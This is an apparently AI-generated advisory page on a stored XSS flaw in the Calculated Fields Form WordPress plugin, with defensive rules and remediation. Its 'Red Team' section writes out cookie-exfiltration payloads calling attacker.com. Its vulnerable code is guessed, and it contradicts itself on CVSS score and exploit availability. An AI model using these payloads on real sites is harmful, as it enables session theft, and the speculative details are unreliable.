CVE-2024-12273
Executive Summary
CVE-2024-12273 is a Stored Cross-Site Scripting (XSS) vulnerability in the Calculated Fields Form WordPress plugin, affecting versions prior to 5.2.62. The flaw allows high-privilege users (e.g., administrators) to inject malicious scripts into plugin settings, which are then stored and executed when other users view the settings page. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disabled, as it bypasses standard input sanitization. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement of high privileges and user interaction. No public exploit code or proof-of-concept is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify their plugin version and update immediately to 5.2.62. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Requires admin-level access.
- User Interaction (UI): Required (R) – Victim must view the settings page.
- Scope (S): Changed (C) – Impact can extend beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium (5.4) – Exploitation requires admin privileges but can lead to persistent XSS in multisite environments.
Deep Dive & Mechanics
The vulnerability resides in the plugin's settings page, where user-supplied input is not properly sanitized or escaped before being stored and later rendered. In WordPress multisite, super admins can restrict unfiltered_html for lower-level admins, but this plugin fails to respect that restriction. An attacker with admin privileges can inject malicious JavaScript into settings fields (e.g., form labels, validation messages). When another admin or user views the settings page, the script executes in their browser context, potentially stealing session cookies, performing actions on behalf of the victim, or defacing the site.
The root cause is the lack of wp_kses() or similar sanitization functions on output, combined with insufficient input validation. The plugin likely uses echo or esc_html() incorrectly, allowing raw HTML/JavaScript to persist.
Vulnerable vs. Patched Code
Vulnerable Code (pre-5.2.62):
// In settings page rendering
echo "<input type='text' name='field_label' value='" . $option_value . "' />";
Here, $option_value is not sanitized, allowing injection of "><script>alert(1)</script>.
Patched Code (5.2.62+):
// Properly escape output
echo "<input type='text' name='field_label' value='" . esc_attr( $option_value ) . "' />";
The esc_attr() function escapes HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites: Admin access to a WordPress multisite with
unfiltered_htmldisabled.Steps:
- Navigate to Calculated Fields Form settings.
- In a text field (e.g., "Form Title"), inject payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save settings.
- When another admin views the settings page, the script executes, exfiltrating cookies.
Advanced Payload:
<img src=x onerror="new Image().src='https://attacker.com/steal?data='+btoa(document.cookie)">
Blue Team (Defense & Detection)
- Prevention: Update plugin to 5.2.62.
- Detection: Monitor for unusual admin activity, especially changes to plugin settings.
- Response: If compromised, revoke all admin sessions, reset passwords, and audit plugin settings for injected scripts.
Indicators of Compromise (IOCs)
- File-based: Modified plugin files (e.g.,
wp-content/plugins/calculated-fields-form/). - Database: Suspicious entries in
wp_optionstable under plugin settings. - Network: Outbound connections to unknown domains from admin pages.
- Logs: Unusual admin login times or IP addresses.
Detection Engineering
YARA Rule
rule CVE_2024_12273_Stored_XSS {
meta:
description = "Detects malicious JavaScript injection in Calculated Fields Form settings"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2024-12273"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_img = /<img[^>]+onerror\s*=/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-12273 Stored XSS in Calculated Fields Form
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in plugin settings
logsource:
product: wordpress
service: audit
detection:
selection:
EventID: 1000 # Custom event for plugin settings change
Data|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in settings (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-12273 Stored XSS Exfiltration"; flow:to_server,established; content:"/steal?"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Update the plugin to version 5.2.62 or later.
- Workaround: If unable to update, restrict admin access to trusted users only.
- Long-term: Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Monitoring: Enable WordPress audit logging to track settings changes.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.